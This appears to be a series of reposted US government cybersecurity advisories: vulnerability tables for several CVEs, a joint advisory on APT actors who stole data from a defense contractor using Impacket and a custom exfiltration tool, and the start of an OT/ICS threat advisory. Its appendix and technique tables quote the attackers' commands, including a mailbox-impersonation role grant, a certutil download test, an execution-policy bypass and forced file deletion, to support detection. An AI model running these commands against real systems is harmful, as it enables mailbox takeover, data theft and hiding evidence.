Vulnerable Technologies and Versions Big IP versions: 16.1.0-16.1.2 15.1.0-15.1.5 14.1.0-14.1.4 13.1.0-13.1.4 12.1.0-12.1.6 11.6.1-11.6.5

Table XVI: Apache CVE-2022-24112

Apache CVE-2022-24112 CVSS 3.0: 9.8 (Critical)

Vulnerability Description A malicious actor can abuse the batch-requests plugin to send requests to bypass the IP restriction of Admin API. A default configuration of Apache APISIX (with default API key) is vulnerable to remote code execution. When the admin key was changed or the port of Admin API was changed to a port different from the data panel, the impact is lower. But there is still a risk to bypass the IP restriction of Apache APISIX’s data panel. There is a check in the batch-requests plugin which overrides the client IP with its real remote IP. But due to a bug in the code, this check can be bypassed.

Recommended Mitigations In affected versions of Apache APISIX, you can avoid this risk by explicitly commenting out batch-requests in the conf/config.yaml and conf/config-default.yaml files and restarting Apache APISIX. Update to 2.10.4 or 2.12.1.

Detection Methods N/A

Vulnerable Technologies and Versions Apache APISIX between 1.3 and 2.12.1 (excluding 2.12.1) LTS versions of Apache APISIX between 2.10.0 and 2.10.4

Table XVII: ZOHO CVE-2021-40539

ZOHO CVE-2021-40539 CVSS 3.0: 9.8 (Critical)

Vulnerability Description Zoho ManageEngine ADSelfService Plus version 6113 and prior is vulnerable to REST API authentication bypass with resultant remote code execution.

Recommended Mitigations Upgrade to latest version.

Detection Methods Run ManageEngine’s detection tool. Check for specific files and logs.

Vulnerable Technologies and Versions Zoho Corp ManageEngine ADSelfService Plus

Table XVIII: Microsoft CVE-2021-26857

Microsoft CVE-2021-26857 CVSS 3.0: 7.8 (High)

Vulnerability Description Microsoft Exchange Server remote code execution vulnerability. This CVE ID differs from CVE-2021-26412, CVE-2021-26854, CVE-2021-26855, CVE-2021-26858, CVE-2021-27065, and CVE-2021-27078.

Recommended Mitigations Update to support latest version. Install Microsoft security patch. Use Microsoft Exchange On-Premises Mitigation Tool.

Detection Methods Run Exchange script: https://github.com/microsoft/CSS-Exchange/tree/main/Security. Hashes can be found here: https://www.microsoft.com/security/blog/2021/03/02/hafnium-targeting-exchange-servers/#scan-log.

Vulnerable Technologies and Versions Microsoft Exchange Servers

Table XIX: Microsoft CVE-2021-26858

Microsoft CVE-2021-26858 CVSS 3.0: 7.8 (High)

Vulnerability Description Microsoft Exchange Server remote code execution vulnerability. This CVE ID differs from CVE-2021-26412, CVE-2021-26854, CVE-2021-26855, CVE-2021-26858, CVE-2021-27065, and CVE-2021-27078.

Recommended Mitigations Update to support latest version. Install Microsoft security patch. Use Microsoft Exchange On-Premises Mitigation Tool.

Detection Methods Run Exchange script: https://github.com/microsoft/CSS-Exchange/tree/main/Security. Hashes can be found here:  https://www.microsoft.com/security/blog/2021/03/02/hafnium-targeting-exchange-servers/#scan-log.

Vulnerable Technologies and Versions Microsoft Exchange Servers

Table XX: Microsoft CVE-2021-27065

Microsoft CVE-2021-27065 CVSS 3.0: 7.8 (High)

Vulnerability Description Microsoft Exchange Server remote code execution vulnerability. This CVE ID differs from CVE-2021-26412, CVE-2021-26854, CVE-2021-26855, CVE-2021-26858, CVE-2021-27065, and CVE-2021-27078.

Recommended Mitigations Update to support latest version. Install Microsoft security patch. Use Microsoft Exchange On-Premises Mitigation Tool.

Detection Methods Run Exchange script: https://github.com/microsoft/CSS-Exchange/tree/main/Security. Hashes can be found here: https://www.microsoft.com/security/blog/2021/03/02/hafnium-targeting-exchange-servers/#scan-log.

Vulnerable Technologies and Versions Microsoft Exchange Servers

References https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2021-27065

Table XXI: Apache CVE-2021-41773

Apache CVE-2021-41773 CVSS 3.0: 7.5 (High)

Vulnerability Description This vulnerability has been modified since it was last analyzed by NVD. It is awaiting reanalysis, which may result in further changes to the information provided. A flaw was found in a change made to path normalization in Apache HTTP Server 2.4.49. A malicious actor could use a path traversal attack to map URLs to files outside the directories configured by Alias-like directives. If files outside of these directories are not protected by the usual default configuration “require all denied,” these requests can succeed. Enabling CGI scripts for these aliased paths could allow for remote code execution. This issue is known to be exploited in the wild. This issue only affects Apache 2.4.49 and not earlier versions. The fix in Apache HTTP Server 2.4.50 is incomplete (see CVE-2021-42013).

Recommended Mitigations Apply update or patch.

Detection Methods Commercially available scanners can detect CVE.

Vulnerable Technologies and Versions Apache HTTP Server 2.4.49 and 2.4.50 Fedoraproject Fedora 34 and 35 Oracle Instantis Enterprise Track 17.1-17.3 Netapp Cloud Backup

Revisions

• Initial Publication: October 6, 2022

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This post was originally published on this site

Original release date: October 4, 2022

Summary

Actions to Help Protect Against Russian State-Sponsored Malicious Cyber Activity:

• Enforce multifactor authentication (MFA) on all user accounts.
• Implement network segmentation to separate network segments based on role and functionality.
• Update software, including operating systems, applications, and firmware, on network assets.
• Audit account usage.

From November 2021 through January 2022, the Cybersecurity and Infrastructure Security Agency (CISA) responded to advanced persistent threat (APT) activity on a Defense Industrial Base (DIB) Sector organization’s enterprise network. During incident response activities, CISA uncovered that likely multiple APT groups compromised the organization’s network, and some APT actors had long-term access to the environment. APT actors used an open-source toolkit called Impacket to gain their foothold within the environment and further compromise the network, and also used a custom data exfiltration tool, CovalentStealer, to steal the victim’s sensitive data.

This joint Cybersecurity Advisory (CSA) provides APT actors tactics, techniques, and procedures (TTPs) and indicators of compromise (IOCs) identified during the incident response activities by CISA and a third-party incident response organization. The CSA includes detection and mitigation actions to help organizations detect and prevent related APT activity. CISA, the Federal Bureau of Investigation (FBI), and the National Security Agency (NSA) recommend DIB sector and other critical infrastructure organizations implement the mitigations in this CSA to ensure they are managing and reducing the impact of cyber threats to their networks.

For a downloadable copy of IOCs, see the following files:

• Malware Analysis Report (MAR)-10365227-1.stix, 966 kb
• MAR-10365227-2.stix, 249B
• MAR-10365227-3.stix, 3.2 MB

Technical Details

Threat Actor Activity

Note: This advisory uses the MITRE ATT&CK® for Enterprise framework, version 11. See the MITRE ATT&CK Tactics and Techniques section for a table of the APT cyber activity mapped to MITRE ATT&CK for Enterprise framework.

From November 2021 through January 2022, CISA conducted an incident response engagement on a DIB Sector organization’s enterprise network. The victim organization also engaged a third-party incident response organization for assistance. During incident response activities, CISA and the trusted –third-party identified APT activity on the victim’s network.

Some APT actors gained initial access to the organization’s Microsoft Exchange Server as early as mid-January 2021. The initial access vector is unknown. Based on log analysis, the actors gathered information about the exchange environment and performed mailbox searches within a four-hour period after gaining access. In the same period, these actors used a compromised administrator account (“Admin 1”) to access the EWS Application Programming Interface (API). In early February 2021, the actors returned to the network and used Admin 1 to access EWS API again. In both instances, the actors used a virtual private network (VPN).

Four days later, the APT actors used Windows Command Shell over a three-day period to interact with the victim’s network. The actors used Command Shell to learn about the organization’s environment and to collect sensitive data, including sensitive contract-related information from shared drives, for eventual exfiltration. The actors manually collected files using the command-line tool, WinRAR. These files were split into approximately 3MB chunks located on the Microsoft Exchange server within the CU2hedebug directory. See Appendix: Windows Command Shell Activity for additional information, including specific commands used.

During the same period, APT actors implanted Impacket, a Python toolkit for programmatically constructing and manipulating network protocols, on another system. The actors used Impacket to attempt to move laterally to another system.

In early March 2021, APT actors exploited CVE-2021-26855, CVE-2021-26857, CVE-2021-26868, and CVE-2021-27065 to install 17 China Chopper webshells on the Exchange Server. Later in March, APT actors installed HyperBro on the Exchange Server and two other systems. For more information on the HyperBro and webshell samples, see CISA MAR-10365227-2 and -3.

In April 2021, APT actors used Impacket for network exploitation activities. See the Use of Impacket section for additional information. From late July through mid-October 2021, APT actors employed a custom exfiltration tool, CovalentStealer, to exfiltrate the remaining sensitive files. See the Use of Custom Exfiltration Tool: CovalentStealer section for additional information.

APT actors maintained access through mid-January 2022, likely by relying on legitimate credentials.

Use of Impacket

CISA discovered activity indicating the use of two Impacket tools: wmiexec.py and smbexec.py. These tools use Windows Management Instrumentation (WMI) and Server Message Block (SMB) protocol, respectively, for creating a semi-interactive shell with the target device. Through the Command Shell, an Impacket user with credentials can run commands on the remote device using the Windows management protocols required to support an enterprise network.

The APT cyber actors used existing, compromised credentials with Impacket to access a higher privileged service account used by the organization’s multifunctional devices. The threat actors first used the service account to remotely access the organization’s Microsoft Exchange server via Outlook Web Access (OWA) from multiple external IP addresses; shortly afterwards, the actors assigned the Application Impersonation role to the service account by running the following PowerShell command for managing Exchange:

powershell add-pssnapin *exchange*;New-ManagementRoleAssignment – name:”Journaling-Logs” -Role:ApplicationImpersonation -User:<account>

This command gave the service account the ability to access other users’ mailboxes.

The APT cyber actors used virtual private network (VPN) and virtual private server (VPS) providers, M247 and SurfShark, as part of their techniques to remotely access the Microsoft Exchange server. Use of these hosting providers, which serves to conceal interaction with victim networks, are common for these threat actors. According to CISA’s analysis of the victim’s Microsoft Exchange server Internet Information Services (IIS) logs, the actors used the account of a former employee to access the EWS. EWS enables access to mailbox items such as email messages, meetings, and contacts. The source IP address for these connections is mostly from the VPS hosting provider, M247.

Use of Custom Exfiltration Tool: CovalentStealer

The threat actors employed a custom exfiltration tool, CovalentStealer, to exfiltrate sensitive files.

CovalentStealer is designed to identify file shares on a system, categorize the files, and upload the files to a remote server. CovalentStealer includes two configurations that specifically target the victim’s documents using predetermined files paths and user credentials. CovalentStealer stores the collected files on a Microsoft OneDrive cloud folder, includes a configuration file to specify the types of files to collect at specified times and uses a 256-bit AES key for encryption. See CISA MAR-10365227-1 for additional technical details, including IOCs and detection signatures.

MITRE ATT&CK Tactics and Techniques

MITRE ATT&CK is a globally accessible knowledge base of adversary tactics and techniques based on real-world observations. CISA uses the ATT&CK Framework as a foundation for the development of specific threat models and methodologies. Table 1 lists the ATT&CK techniques employed by the APT actors.

Table 1: Identified APT Enterprise ATT&CK Tactics and Techniques

Initial Access
Technique Title	ID	Use
Valid Accounts	T1078	Actors obtained and abused credentials of existing accounts as a means of gaining Initial Access, Persistence, Privilege Escalation, or Defense Evasion. In this case, they exploited an organization’s multifunctional device domain account used to access the organization’s Microsoft Exchange server via OWA.
Execution
Technique Title	ID	Use
Windows Management Instrumentation	T1047	Actors used Impacket tools wmiexec.py and smbexec.py to leverage Windows Management Instrumentation and execute malicious commands.
Command and Scripting Interpreter	T1059	Actors abused command and script interpreters to execute commands.
Command and Scripting Interpreter: PowerShell	T1059.001	Actors abused PowerShell commands and scripts to map shared drives by specifying a path to one location and retrieving the items from another. See Appendix: Windows Command Shell Activity for additional information.
Command and Scripting Interpreter: Windows Command Shell	T1059.003	Actors abused the Windows Command Shell to learn about the organization’s environment and to collect sensitive data. See Appendix: Windows Command Shell Activity for additional information, including specific commands used. The actors used Impacket tools, which enable a user with credentials to run commands on the remote device through the Command Shell.
Command and Scripting Interpreter: Python	T1059.006	The actors used two Impacket tools: wmiexec.py and smbexec.py.
Shared Modules	T1129	Actors executed malicious payloads via loading shared modules. The Windows module loader can be instructed to load DLLs from arbitrary local paths and arbitrary Universal Naming Convention (UNC) network paths.
System Services	T1569	Actors abused system services to execute commands or programs on the victim’s network.
Persistence
Technique Title	ID	Use
Valid Accounts	T1078	Actors obtained and abused credentials of existing accounts as a means of gaining Initial Access, Persistence, Privilege Escalation, or Defense Evasion.
Create or Modify System Process	T1543	Actors were observed creating or modifying system processes.
Privilege Escalation
Technique Title	ID	Use
Valid Accounts	T1078	Actors obtained and abused credentials of existing accounts as a means of gaining Initial Access, Persistence, Privilege Escalation, or Defense Evasion. In this case, they exploited an organization’s multifunctional device domain account used to access the organization’s Microsoft Exchange server via OWA.
Defense Evasion
Technique Title	ID	Use
Masquerading: Match Legitimate Name or Location	T1036.005	Actors masqueraded the archive utility WinRAR.exe by renaming it VMware.exe to evade defenses and observation.
Indicator Removal on Host	T1070	Actors deleted or modified artifacts generated on a host system to remove evidence of their presence or hinder defenses.
Indicator Removal on Host: File Deletion	T1070.004	Actors used the del.exe command with the /f parameter to force the deletion of read-only files with the *.rar and tempg* wildcards.
Valid Accounts	T1078	Actors obtained and abused credentials of existing accounts as a means of gaining Initial Access, Persistence, Privilege Escalation, or Defense Evasion. In this case, they exploited an organization’s multifunctional device domain account used to access the organization’s Microsoft Exchange server via OWA.
Virtualization/Sandbox Evasion: System Checks	T1497.001	Actors used Windows command shell commands to detect and avoid virtualization and analysis environments. See Appendix: Windows Command Shell Activity for additional information.
Impair Defenses: Disable or Modify Tools	T1562.001	Actors used the taskkill command to probably disable security features. CISA was unable to determine which application was associated with the Process ID.
Hijack Execution Flow	T1574	Actors were observed using hijack execution flow.
Discovery
Technique Title	ID	Use
System Network Configuration Discovery	T1016	Actors used the systeminfo command to look for details about the network configurations and settings and determine if the system was a VMware virtual machine. The threat actor used route print to display the entries in the local IP routing table.
System Network Configuration Discovery: Internet Connection Discovery	T1016.001	Actors checked for internet connectivity on compromised systems. This may be performed during automated discovery and can be accomplished in numerous ways.
System Owner/User Discovery	T1033	Actors attempted to identify the primary user, currently logged in user, set of users that commonly use a system, or whether a user is actively using the system.
System Network Connections Discovery	T1049	Actors used the netstat command to display TCP connections, prevent hostname determination of foreign IP addresses, and specify the protocol for TCP.
Process Discovery	T1057	Actors used the tasklist command to get information about running processes on a system and determine if the system was a VMware virtual machine. The actors used tasklist.exe and find.exe to display a list of applications and services with their PIDs for all tasks running on the computer matching the string “powers.”
System Information Discovery	T1082	Actors used the ipconfig command to get detailed information about the operating system and hardware and determine if the system was a VMware virtual machine.
File and Directory Discovery	T1083	Actors enumerated files and directories or may search in specific locations of a host or network share for certain information within a file system.
Virtualization/Sandbox Evasion: System Checks	T1497.001	Actors used Windows command shell commands to detect and avoid virtualization and analysis environments.
Lateral Movement
Technique Title	ID	Use
Remote Services: SMB/Windows Admin Shares	T1021.002	Actors used Valid Accounts to interact with a remote network share using Server Message Block (SMB) and then perform actions as the logged-on user.
Collection
Technique Title	ID	Use
Archive Collected Data: Archive via Utility	T1560.001	Actor used PowerShell commands and WinRAR to compress and/or encrypt collected data prior to exfiltration.
Data from Network Shared Drive	T1039	Actors likely used net share command to display information about shared resources on the local computer and decide which directories to exploit, the powershell dir command to map shared drives to a specified path and retrieve items from another, and the ntfsinfo command to search network shares on computers they have compromised to find files of interest. The actors used dir.exe to display a list of a directory’s files and subdirectories matching a certain text string.
Data Staged: Remote Data Staging	T1074.002	The actors split collected files into approximately 3 MB chunks located on the Exchange server within the CU2hedebug directory.
Command and Control
Technique Title	ID	Use
Non-Application Layer Protocol	T1095	Actors used a non-application layer protocol for communication between host and Command and Control (C2) server or among infected hosts within a network.
Ingress Tool Transfer	T1105	Actors used the certutil command with three switches to test if they could download files from the internet. The actors employed CovalentStealer to exfiltrate the files.
Proxy	T1090	Actors are known to use VPN and VPS providers, namely M247 and SurfShark, as part of their techniques to access a network remotely.
Exfiltration
Technique Title	ID	Use
Schedule Transfer	T1029	Actors scheduled data exfiltration to be performed only at certain times of day or at certain intervals and blend traffic patterns with normal activity.
Exfiltration Over Web Service: Exfiltration to Cloud Storage	T1567.002	The actor’s CovalentStealer tool stores collected files on a Microsoft OneDrive cloud folder.

DETECTION

Given the actors’ demonstrated capability to maintain persistent, long-term access in compromised enterprise environments, CISA, FBI, and NSA encourage organizations to:

• Monitor logs for connections from unusual VPSs and VPNs. Examine connection logs for access from unexpected ranges, particularly from machines hosted by SurfShark and M247.
• Monitor for suspicious account use (e.g., inappropriate or unauthorized use of administrator accounts, service accounts, or third-party accounts). To detect use of compromised credentials in combination with a VPS, follow the steps below:
  • Review logs for “impossible logins,” such as logins with changing username, user agent strings, and IP address combinations or logins where IP addresses do not align to the expected user’s geographic location.
  • Search for “impossible travel,” which occurs when a user logs in from multiple IP addresses that are a significant geographic distance apart (i.e., a person could not realistically travel between the geographic locations of the two IP addresses in the time between logins). Note: This detection opportunity can result in false positives if legitimate users apply VPN solutions before connecting to networks.
  • Search for one IP used across multiple accounts, excluding expected logins.
    • Take note of any M247-associated IP addresses used along with VPN providers (e.g., SurfShark). Look for successful remote logins (e.g., VPN, OWA) for IPs coming from M247- or using SurfShark-registered IP addresses.
  • Identify suspicious privileged account use after resetting passwords or applying user account mitigations.
  • Search for unusual activity in typically dormant accounts.
  • Search for unusual user agent strings, such as strings not typically associated with normal user activity, which may indicate bot activity.
• Review the YARA rules provided in MAR-10365227-1 to assist in determining whether malicious activity has been observed.
• Monitor for the installation of unauthorized software, including Remote Server Administration Tools (e.g., psexec, RdClient, VNC, and ScreenConnect).
• Monitor for anomalous and known malicious command-line use. See Appendix: Windows Command Shell Activity for commands used by the actors to interact with the victim’s environment.
• Monitor for unauthorized changes to user accounts (e.g., creation, permission changes, and enabling a previously disabled account).

CONTAINMENT AND REMEDIATION

Organizations affected by active or recently active threat actors in their environment can take the following initial steps to aid in eviction efforts and prevent re-entry:

• Report the incident. Report the incident to U.S. Government authorities and follow your organization’s incident response plan.
  • Report incidents to CISA via CISA’s 24/7 Operations Center (report@cisa.gov or 888-282-0870).
  • Report incidents to your local FBI field office at fbi.gov/contact-us/field-offices or to FBI’s 24/7 Cyber Watch (CyWatch) via (855) 292-3937 or CyWatch@fbi.gov.
  • For DIB incident reporting, contact the Defense Cyber Crime Center (DC3) via DIBNET at dibnet.dod.mil/portal/intranet or (410) 981 0104.
• Reset all login accounts. Reset all accounts used for authentication since it is possible that the threat actors have additional stolen credentials. Password resets should also include accounts outside of Microsoft Active Directory, such as network infrastructure devices and other non-domain joined devices (e.g., IoT devices).
• Monitor SIEM logs and build detections. Create signatures based on the threat actor TTPs and use these signatures to monitor security logs for any signs of threat actor re-entry.
• Enforce MFA on all user accounts. Enforce phishing-resistant MFA on all accounts without exception to the greatest extent possible.
• Follow Microsoft’s security guidance for Active Directory—Best Practices for Securing Active Directory.
• Audit accounts and permissions. Audit all accounts to ensure all unused accounts are disabled or removed and active accounts do not have excessive privileges. Monitor SIEM logs for any changes to accounts, such as permission changes or enabling a previously disabled account, as this might indicate a threat actor using these accounts.
• Harden and monitor PowerShell by reviewing guidance in the joint Cybersecurity Information Sheet—Keeping PowerShell: Security Measures to Use and Embrace.

Mitigations

Mitigation recommendations are usually longer-term efforts that take place before a compromise as part of risk management efforts, or after the threat actors have been evicted from the environment and the immediate response actions are complete. While some may be tailored to the TTPs used by the threat actor, recovery recommendations are largely general best practices and industry standards aimed at bolstering overall cybersecurity posture.

Segment Networks Based on Function

• Implement network segmentation to separate network segments based on role and functionality. Proper network segmentation significantly reduces the ability for ransomware and other threat actor lateral movement by controlling traffic flows between—and access to—various subnetworks. (See CISA’s Infographic on Layering Network Security Through Segmentation and NSA’s Segment Networks and Deploy Application-Aware Defenses.)
• Isolate similar systems and implement micro-segmentation with granular access and policy restrictions to modernize cybersecurity and adopt Zero Trust (ZT) principles for both network perimeter and internal devices. Logical and physical segmentation are critical to limiting and preventing lateral movement, privilege escalation, and exfiltration.

Manage Vulnerabilities and Configurations

• Update software, including operating systems, applications, and firmware, on network assets. Prioritize patching known exploited vulnerabilities and critical and high vulnerabilities that allow for remote code execution or denial-of-service on internet-facing equipment.
• Implement a configuration change control process that securely creates device configuration backups to detect unauthorized modifications. When a configuration change is needed, document the change, and include the authorization, purpose, and mission justification. Periodically verify that modifications have not been applied by comparing current device configurations with the most recent backups. If suspicious changes are observed, verify the change was authorized.

Search for Anomalous Behavior

• Use cybersecurity visibility and analytics tools to improve detection of anomalous behavior and enable dynamic changes to policy and other response actions. Visibility tools include network monitoring tools and host-based logs and monitoring tools, such as an endpoint detection and response (EDR) tool. EDR tools are particularly useful for detecting lateral connections as they have insight into common and uncommon network connections for each host.
• Monitor the use of scripting languages (e.g., Python, Powershell) by authorized and unauthorized users. Anomalous use by either group may be indicative of malicious activity, intentional or otherwise.

Restrict and Secure Use of Remote Admin Tools

• Limit the number of remote access tools as well as who and what can be accessed using them. Reducing the number of remote admin tools and their allowed access will increase visibility of unauthorized use of these tools.
• Use encrypted services to protect network communications and disable all clear text administration services(e.g., Telnet, HTTP, FTP, SNMP 1/2c). This ensures that sensitive information cannot be easily obtained by a threat actor capturing network traffic.

Implement a Mandatory Access Control Model

• Implement stringent access controls to sensitive data and resources. Access should be restricted to those users who require access and to the minimal level of access needed.

Audit Account Usage

• Monitor VPN logins to look for suspicious access (e.g., logins from unusual geo locations, remote logins from accounts not normally used for remote access, concurrent logins for the same account from different locations, unusual times of the day).
• Closely monitor the use of administrative accounts. Admin accounts should be used sparingly and only when necessary, such as installing new software or patches. Any use of admin accounts should be reviewed to determine if the activity is legitimate.
• Ensure standard user accounts do not have elevated privileges Any attempt to increase permissions on standard user accounts should be investigated as a potential compromise.

VALIDATE SECURITY CONTROLS

In addition to applying mitigations, CISA, FBI, and NSA recommend exercising, testing, and validating your organization’s security program against threat behaviors mapped to the MITRE ATT&CK for Enterprise framework in this advisory. CISA, FBI, and NSA recommend testing your existing security controls inventory to assess how they perform against the ATT&CK techniques described in this advisory.

To get started:

1. Select an ATT&CK technique described in this advisory (see Table 1).
2. Align your security technologies against the technique.
3. Test your technologies against the technique.
4. Analyze the performance of your detection and prevention technologies.
5. Repeat the process for all security technologies to obtain a set of comprehensive performance data.
6. Tune your security program, including people, processes, and technologies, based on the data generated by this process.

CISA, FBI, and NSA recommend continually testing your security program, at scale, in a production environment to ensure optimal performance against the MITRE ATT&CK techniques identified in this advisory.

RESOURCES

CISA offers several no-cost scanning and testing services to help organizations reduce their exposure to threats by taking a proactive approach to mitigating attack vectors. See cisa.gov/cyber-hygiene-services.

U.S. DIB sector organizations may consider signing up for the NSA Cybersecurity Collaboration Center’s DIB Cybersecurity Service Offerings, including Protective Domain Name System (PDNS) services, vulnerability scanning, and threat intelligence collaboration for eligible organizations. For more information on how to enroll in these services, email dib_defense@cyber.nsa.gov.

ACKNOWLEDGEMENTS

CISA, FBI, and NSA acknowledge Mandiant for its contributions to this CSA.

APPENDIX: WINDOWS COMMAND SHELL ACTIVITY

Over a three-day period in February 2021, APT cyber actors used Windows Command Shell to interact with the victim’s environment. When interacting with the victim’s system and executing commands, the threat actors used /q and /c parameters to turn the echo off, carry out the command specified by a string, and stop its execution once completed.

On the first day, the threat actors consecutively executed many commands within the Windows Command Shell to learn about the organization’s environment and to collect sensitive data for eventual exfiltration (see Table 2).

Table 2: Windows Command Shell Activity (Day 1)

Command	Description / Use
net share	Used to create, configure, and delete network shares from the command-line.[1] The threat actor likely used this command to display information about shared resources on the local computer and decide which directories to exploit.
powershell dir	An alias (shorthand) for the PowerShell Get-ChildItem cmdlet. This command maps shared drives by specifying a path to one location and retrieving the items from another.[2] The threat actor added additional switches (aka options, parameters, or flags) to form a “one liner,” an expression to describe commonly used commands used in exploitation: powershell dir -recurse -path e:<redacted>|select fullname,length|export-csv c:windowstemptemp.txt. This particular command lists subdirectories of the target environment when.
systeminfo	Displays detailed configuration information [3], tasklist – lists currently running processes [4], and ipconfig – displays all current Transmission Control Protocol (TCP)/IP network configuration values and refreshes Dynamic Host Configuration Protocol (DHCP) and Domain Name System (DNS) settings, respectively [5]. The threat actor used these commands with specific switches to determine if the system was a VMware virtual machine: systeminfo > vmware & date /T, tasklist /v > vmware & date /T, and ipconfig /all >> vmware & date /.
route print	Used to display and modify the entries in the local IP routing table. [6] The threat actor used this command to display the entries in the local IP routing table.
netstat	Used to display active TCP connections, ports on which the computer is listening, Ethernet statistics, the IP routing table, IPv4 statistics, and IPv6 statistics.[7] The threat actor used this command with three switches to display TCP connections, prevent hostname determination of foreign IP addresses, and specify the protocol for TCP: netstat -anp tcp.
certutil	Used to dump and display certification authority (CA) configuration information, configure Certificate Services, backup and restore CA components, and verify certificates, key pairs, and certificate chains.[8] The threat actor used this command with three switches to test if they could download files from the internet: certutil -urlcache -split -f https://microsoft.com temp.html.
ping	Sends Internet Control Message Protocol (ICMP) echoes to verify connectivity to another TCP/IP computer.[9] The threat actor used ping -n 2 apple.com to either test their internet connection or to detect and avoid virtualization and analysis environments or network restrictions.
taskkill	Used to end tasks or processes.[10] The threat actor used taskkill /F /PID 8952 to probably disable security features. CISA was unable to determine what this process was as the process identifier (PID) numbers are dynamic.
PowerShell Compress-Archive cmdlet	Used to create a compressed archive or to zip files from specified files and directories.[11] The threat actor used parameters indicating shared drives as file and folder sources and the destination archive as zipped files. Specifically, they collected sensitive contract-related information from the shared drives.

 

On the second day, the APT cyber actors executed the commands in Table 3 to perform discovery as well as collect and archive data.

Table 3: Windows Command Shell Activity (Day 2)

Command	Description / Use
ntfsinfo.exe	Used to obtain volume information from the New Technology File System (NTFS) and to print it along with a directory dump of NTFS meta-data files.[12]
WinRAR.exe	Used to compress files and subsequently masqueraded WinRAR.exe by renaming it VMware.exe.[13]

 

On the third day, the APT cyber actors returned to the organization’s network and executed the commands in Table 4.

Table 4: Windows Command Shell Activity (Day 3)

Command	Description / Use
powershell -ep bypass import-module .vmware.ps1;export-mft -volume e	Threat actors ran a PowerShell command with parameters to change the execution mode and bypass the Execution Policy to run the script from PowerShell and add a module to the current section: powershell -ep bypass import-module .vmware.ps1;export-mft -volume e. This module appears to acquire and export the Master File Table (MFT) for volume E for further analysis by the cyber actor.[14]
set.exe	Used to display the current environment variable settings.[15] (An environment variable is a dynamic value pointing to system or user environments (folders) of the system. System environment variables are defined by the system and used globally by all users, while user environment variables are only used by the user who declared that variable and they override the system environment variables (even if the variables are named the same).
dir.exe	Used to display a list of a directory’s files and subdirectories matching the eagx* text string, likely to confirm the existence of such file.
tasklist.exe and find.exe	Used to display a list of applications and services with their PIDs for all tasks running on the computer matching the string “powers”.[16][17][18]
ping.exe	Used to send two ICMP echos to amazon.com. This could have been to detect or avoid virtualization and analysis environments, circumvent network restrictions, or test their internet connection.[19]
del.exe with the /f parameter	Used to force the deletion of read-only files with the *.rar and tempg* wildcards.[20]

References

• [1] Microsoft Net Share
• [2] Microsoft Get-ChildItem
• [3] Microsoft systeminfo
• [4] Microsoft tasklist
• [5] Microsoft ipconfig
• [6] Microsoft Route
• [7] Microsoft netstat
• [8] Microsoft certutil
• [9] Microsoft ping
• [10] Microsoft taskkill
• [11] Microsoft Compress-Archive
• [12] NTFSInfo v1.2
• [13] rarlab
• [14] Microsoft Import-Module
• [15] Microsoft set (environment variable)
• [16] Microsoft tasklist
• [17] Mitre ATT&CK – Sofware: TaskList
• [18] Microsoft find
• [19] Microsoft ping
• [20] Microsoft del

Revisions

• October 4, 2022: Initial version

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This post was originally published on this site

Original release date: September 22, 2022

Summary

Traditional approaches to securing OT/ICS do not adequately address current threats.

Operational technology/industrial control system (OT/ICS) assets that operate, control, and monitor day-to-day critical infrastructure and industrial processes continue to be an attractive target for malicious cyber actors. These cyber actors, including advanced persistent threat (APT) groups, target OT/ICS assets to achieve political gains, economic advantages, or destructive effects. Because OT/ICS systems manage physical operational processes, cyber actors’ operations could result in physical consequences, including loss of life, property damage, and disruption of National Critical Functions.

OT/ICS devices and designs are publicly available, often incorporate vulnerable information technology (IT) components, and include external connections and remote access that increase their attack surfaces. In addition, a multitude of tools are readily available to exploit IT and OT systems. As a result of these factors, malicious cyber actors present an increasing risk to ICS networks.

Traditional approaches to securing OT/ICS do not adequately address current threats to those systems. However, owners and operators who understand cyber actors’ tactics, techniques, and procedures (TTPs) can use that knowledge when prioritizing hardening actions for OT/ICS.

This joint Cybersecurity Advisory, which builds on previous NSA and CISA guidance to stop malicious ICS activity and reduce OT exposure [1] [2], describes TTPs that malicious actors use to compromise OT/ICS assets. It also recommends mitigations that owners and operators can use to defend their systems. NSA and CISA encourage OT/ICS owners and operators to apply the recommendations in this CSA.

Download the PDF version of this report: pdf, 538.12 kb

Technical Details

OT/ICS assets operate, control, and monitor industrial processes throughout U.S. critical infrastructure. Traditional ICS assets are difficult to secure due to their design for maximum availability and safety, coupled with their use of decades-old systems that often lack any recent security updates. Newer ICS assets may be able to be configured more securely, but often have an increased attack surface due to incorporating Internet or IT network connectivity to facilitate remote control and operations. The net effect of the convergence of IT and OT platforms has increased the risk of cyber exploitation of control systems. [3]

Today’s cyber realm is filled with well-funded malicious cyber actors financed by nation-states, as well as less sophisticated groups, independent hackers, and insider threats. Control systems have been targeted by a variety of these malicious cyber actors in recent years to achieve political gains, economic advantages, and possibly destructive effects. [4] [5] [6] [7] [8] More recently, APT actors have also developed tools for scanning, compromising, and controlling targeted OT devices. [9] 

Malicious actors’ game plan for control system intrusions

Cyber actors typically follow these steps to plan and execute compromises against critical infrastructure control systems:

1. Establish intended effect and select a target.
2. Collect intelligence about the target system.
3. Develop techniques and tools to navigate and manipulate the system.
4. Gain initial access to the system.
5. Execute techniques and tools to create the intended effect.

Leveraging specific expertise and network knowledge, malicious actors such as nation-state actors can conduct these steps in a coordinated manner, sometimes concurrently and repeatedly, as illustrated by real world cyber activity. [5] [10]

Establish intended effect and select a target

Cyber actors, from cyber criminals to state-sponsored APT actors, target critical infrastructure to achieve a variety of objectives. Cyber criminals are financially motivated and target OT/ICS assets for financial gain (e.g., data extortion or ransomware operations). State-sponsored APT actors target critical infrastructure for political and/or military objectives, such as destabilizing political or economic landscapes or causing psychological or social impacts on a population. The cyber actor selects the target and the intended effect—to disrupt, disable, deny, deceive, and/or destroy—based on these objectives. For example, disabling power grids in strategic locations could destabilize economic landscapes or support broader military campaigns. Disrupting water treatment facilities or threatening to destroy a dam could have psychological or social impacts on a population. [11] [12]

Collect intelligence about the target system

Once the intent and target are established, the actor collects intelligence on the targeted control system. The actor may collect data from multiple sources, including:

• Open-source research: A great deal of information about control systems and their designs is publicly available. For example, solicitation information and employment advertisements may indicate components and—list specific model numbers.
• Insider threats: The actor may also leverage trusted insiders, even unwitting ones, for collecting information. Social engineering often elicits a wealth of information from people looking for a new job or even just trying to help.
• Enterprise networks: The actor may compromise enterprise IT networks and collect and exfiltrate ICS-related information. Procurement documents, engineering specifications, and even configurations may be stored on corporate IT networks.

